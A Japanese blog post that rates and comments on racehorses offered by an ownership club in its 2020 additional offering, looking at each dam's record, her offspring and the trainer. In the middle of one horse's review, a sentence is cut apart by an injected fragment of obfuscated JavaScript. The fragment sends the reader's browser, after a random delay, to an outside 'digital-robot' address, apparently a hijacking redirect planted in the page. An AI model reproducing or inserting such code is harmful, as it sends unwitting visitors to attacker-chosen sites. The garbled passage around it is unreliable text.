最初に
当レビューは、基本的に過去の成績・傾向や数字から読み取れる部分だけを評価し、その他の部分に関してはコメントのみに留めています。
レビューは無料でご覧いただけますが、時間をかけて作成しておりますので他ブログへの転載等はご遠慮頂きますようお願い申し上げます。
皆さんの出資馬検討のお役に立てれば幸いです。
※各データは慎重に確認の上掲載しておりますが、間違いが無いとは言い切れません。
出資の際はご自身で調べた上であくまで自己責任でお願い致します。
母現役成績:賞金や勝利数、重賞での活躍度合いなどを基準に評価
母産駒実績:産駒の中央での勝ち上がり数や、大物の有無を基準に評価
出生時母年齢:[8-13歳(壮年)]>[~7歳(若年)]=[14-17歳(高齢)]>[18歳~(超高齢)]の順に評価
※空胎明けや2,3番仔の牡馬はプラス評価、初仔の牝馬は割引評価
厩舎実績:前年リーディング、勝ち上がり率、AEI/CPIを基準に評価
※非社台系クラブは社台グループ率の低さも加味(社台の施設が使用できない為、社台グループ率が低く結果を残している厩舎は非社台クラブ向きと判断)
2020年度 追加募集馬評価・レビュー
アスカビレンの2020(牝)※満口
栗毛 20.4.6生
父 エピファネイア 母の父 ブラックタイド
栗東・池江泰寿
販売総額 4,800万円 / 総口数 3000口
一口価格 16,000円
(勝ち上がり率|現3歳:38.1%/現2歳:19.6%)
母現役成績:★★★★★★★☆
(賞金:1億1,332万円/23戦6勝 OP馬)
母産駒実績:産駒未デビュー
出生時母年齢:★★★★★★★☆
(8歳:壮年 8-13歳・2番仔)
(前年L6位・勝ち上がり率=59%・AEI/CPI=1.88・社台グループ率=58%)
- 推しポイント
母アスカビレンは六甲Sを勝ち、秋華賞7着ほか重賞戦線で活躍し1億円超を稼ぎました。
まだ若く母8歳時の産駒ですし、このまま順調に成長すれば期待を感じる産駒です。
血統面でも父エピファネイア×母父ディープインパクトは秋華賞に出走したムジカや、菊花賞でコントレイルにクビ差まで迫ったアリストテレスなど活躍馬を多く輩出しています。
本馬はディープインパクトと同血のブラックタイドを母父に持つため血統的な相性は間違いないでしょう。
桑田牧場さんの動画を見ても良い筋肉の質を持っているように見え、これから鍛えてさらによくなりそうな雰囲気を感じます。
キョウエイカルラの2020(牝)※満口
(勝ち上がり率|現3歳:39.3%/現2歳:19.6%)
母現役成績:★★★★★★☆☆
(賞金:8,346万円/27戦6勝)
母産駒実績:★★★☆☆☆☆☆
(2頭デビュー:中央未勝利)
出生時母年齢:★★★★★★☆☆
(13歳:壮年 8-13歳・4番仔)
(前年L2位・勝ち上がり率=47%・AEI/CPI=1.47・社台グループ率=32%)
- 推しポイント
母キョウエイカルラはOP馬まで上り詰めた生粋のダート馬。
両親ともに短距離馬でミスプロのクロスもできるとなるとおそらくは短距離のダートに活路を見い出すのでは思います。
ちなみに母は矢作芳人厩舎所属だったため、もしかすると本馬も矢作厩舎では?と期待する声もネット上では見受けられます。→やはり矢作厩舎でした!
リーディング上位のロードカナロア産駒に広尾TCと相性の良い矢作厩舎。
価格は高めですが人気は出そうです。
ミンティエアーの2020(牡)
(勝ち上がり率|現3歳:32.9%/現2歳:21.7%)
母現役成績:★★★★★★☆☆
(賞金:7,478万/17戦2勝)
母産駒実績:★★★★★★☆☆
(6頭デビュー:3頭中央勝ち上がり、OP馬エルモンストロ)
出生時母年齢:★★★★★★☆☆
(16歳:高齢 14-17歳 8番仔 空胎明け牡馬〇)
- 推しポイント
広尾TC所属で2歳馬の先陣を切って活躍中のバスラットレオンと同じ三嶋牧場生産馬。
母はオークス4着の実績馬でダートでも1つ勝ち鞍があります。
産駒ではエルモンストロというOP馬を輩出しており、こちらも芝で新馬勝ちをした後ダートで3勝という経歴を辿っています。
本馬は父にマジェスティックウォリアーを迎えたことでおそらくダート適性が引き出されるのではと思っています。
OP馬エルモンストロが空胎明け後に誕生したことを考えると、本馬も同じく空胎を経て誕生した待望の牡馬。
マジェスティックウォリアー産駒にしては強気の価格ですが、それだけクラブの期待度が高いということでしょう。
プシュケの2020(牡)※募集中止
父 レッドファルクス 母の父 ノヴェリスト
一口価格 7,500円
母現役成績:未デビュー
母産駒実績:※産駒中央未デビュー
出生時母年齢:★★★★☆☆☆☆
(4歳:若年 ~7歳・初仔)
(前年L175位・勝ち上がり率=12%・AEI/CPI=0.33・社台グループ率=5%)
- 推しポイント
母プシュケは広尾TCで募集されたものの骨折のためデビュー出来ずに繁殖入り。
今回父にレッドファルクスを迎えていよいよ産駒がクラブで募集されることに。
プシュケの出資者の方々は待ちに待った瞬間ではないでしょうか。
データ的には新種牡馬であったり母の能力や産駒成績が不明のため判断し辛いので、シンプルに馬体や厩舎の好みで判断するのが良いかもしれません。
秋華賞で4着に入ったパラスアテナの母ステラリードが祖母に入るというのも楽しみですね。
クエストフォーワンダーの2019(牡)※満口
父 ミッキーアイル 母の父 マクフィ
一口価格 7,500円
(勝ち上がり率|現3歳:未デビュー/現2歳:12.1%)
母現役成績:★★★★★☆☆☆
(英4勝)
母産駒実績:※産駒未デビュー
出生時母年齢:★★★★★★★☆
(8歳:壮年 8-13歳・2番仔)
厩舎実績:★★★★★☆☆☆
(前年L82位・勝ち上がり率=24%・AEI/CPI=0.54・社台グループ率=31%)
- 推しポイント
個人的にかなり気になっている1頭。
初仔のクエストフォーラヴも父キズナで魅力的な馬でしたが、本馬もキズナと同じく父にディープインパクト産駒のミッキーアイルを迎えています。
そして2番仔の牡馬ということで馬格に恵まれればミッキーアイルのように短距離~マイルあたりで活躍してくれるのではと期待しています。
ミッキーアイルは種牡馬デビュー1年目ということでまだ成績は安定していませんが、小倉2歳Sを勝利したメイケイエールなど着実に結果を残しています。
価格も牡馬ながらキズナ産駒の姉(2100万円)よりも安価でお得感がありますね!
ソヴールトウショウの2019(牝)※満口
(勝ち上がり率|現3歳:35.9%/現2歳:20.7%)
母現役成績:★★☆☆☆☆☆☆
(賞金:地方70万/30戦3勝)
母産駒実績:★★☆☆☆☆☆☆
(1頭地方デビュー)
出生時母年齢:★★★★★★☆☆
(7歳:若年 ~7歳・2番仔)
(前年L125・勝ち上がり率=20%・AEI/CPI=0.47・社台グループ率=9%)
- 推しポイント
母の成績自体は目立ちませんが、祖母マザートウショウは牝馬クラシック路線を賑わせた名牝。
父にパイロを迎えたことで5台血統表にクロスを持たないアウトブリードとなるため、使ってどんどん良くなってきそうなイメージを持ちます。
父の産駒傾向からおそらくダート向きに出るのではと思っているので、そういった点からも体が丈夫で数を使えそうな点はプラスです。
アラマサクロフネの2019(牡)※満口
(勝ち上がり率|現3歳:未デビュー/現2歳:31.3%)
母現役成績:★★★★★☆☆☆
(賞金:2,190万円/32戦1勝)
母産駒実績:※初仔のため未評価
出生時母年齢:★★★★★★☆☆
(8歳:壮年 8-13歳 初仔)
(前年L63位・勝ち上がり率=33%・AEI/CPI=0.48・社台グループ率=22%)
- 推しポイント
父ダノンレジェンドは当記事執筆時点で2歳戦の勝ち上がり率が31.3%と驚異の結果を残しています。
ダノンレジェンド自体がサンデーサイレンスを持っていないためサンデー系牝馬と配合しやすく、またSdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tormCatを持っているので仕上がりが早いのでしょう。
これだけ2歳戦から勝ち馬を出せる種牡馬は貴重なので現在の種付け料70万は破格です。
また、サマーセールで欠場となったときの動画が残っていたので見てみましたが、立ち姿からもダートに向きそうな感じがします。
期待値の高い初仔の牡馬でもありますし楽しみな1頭ですね。
コートリーラッシュの2019(牝)※満口
母現役成績:★★★★☆☆☆☆
(賞金:650万円/12戦1勝)
母産駒実績:★★★☆☆☆☆☆
(2頭地方デビュー)
出生時母年齢:★★★★★★★☆
(8歳:壮年 8-13歳 3番仔)
厩舎実績:未決定
- 推しポイント
母コートリーラッシュは広尾の募集馬で現役時代は1勝を上げました。
繁殖に上がってから初仔、2番仔はクラブで募集されず、今回の3番仔が待望のクラブ初募集馬となります。
まだ母の産駒で目立った活躍馬は出ていないものの、今回クラブで募集されるということは出来に自信があるのではとそんな期待感が感じ取れます。
父が芝のマイル~中距離馬、母がダート短距離馬ということでどんな馬体に出るのか楽しみですね。
サンデーサイレンスの3×4クロスもデアリングタクトを筆頭に多く結果を出していますし楽しみな配合です。
総評
一昔前であればこれが本募集といっていいほどの魅力的なラインナップを取り揃えてくれました。
調べれば調べるほどどの馬も魅力が満載でなかなか選ぶのが難しいですね。
また追加情報が来れば加筆・修正いたしますのでよければその時に再度ご覧になって頂ければと思います。
◆オフィシャルサイトにおける詳細(管理予定調教師、募集価格、立ち写真等)の発表
10月30日(金)夕方 全容公開予定
◆申込受付 <先着順による受付>
11月17日(火)より<先着順>で受付開始
インターネット・・・11月17日(火)午前10時~
電話・・・・・・・・11月17日(火)午前11時~
※まだ残口のある馬やキャンセル募集中の産駒もいるのでこちらも合わせてお読みいただければと思います。
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最大5,000ポイント付与される紹介キャンペーンについても記載しています。
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